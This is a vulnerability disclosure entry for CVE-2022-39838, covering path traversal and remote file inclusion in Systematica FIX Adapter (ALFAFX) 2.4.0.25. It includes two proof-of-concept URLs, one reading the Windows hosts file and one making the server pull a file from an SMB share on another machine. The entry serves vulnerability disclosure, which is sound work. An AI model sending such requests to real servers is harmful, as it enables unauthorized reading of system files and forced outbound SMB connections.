CVE-2022-39838
[Suggested description]
Systematica FIX Adapter (ALFAFX) 2.4.0.25 13/09/2017 allows remote file inclusion via a UNC share pathname, and also allows absolute path traversal to local pathnames.
[Additional Information]
PoC:
http://192.168.88.11:8888/info?page=logfile&file=C:\Windows\System32\drivers\etc\hosts
http://192.168.88.11:8888/info?page=logfile&file=\\192.168.88.100\rfi\test.txt
[Vulnerability Type]
Incorrect Access Control
[Vendor of Product]
Systematica
[Affected Product Code Base]
Systematica FIX Adapter (ALFAFX) - 2.4.0.25 (Build 13/09/2017)
[Attack Type]
Remote
[Impact Information Disclosure]
true
[Attack Vectors]
Remote user can get access to arbitrary file in the OS via absolute path. Also remote user can compel vulnerable server to request file from another machine over smb.
[Discoverer]
Ivashchenko Sergey (Jet Infosystems, jet.su)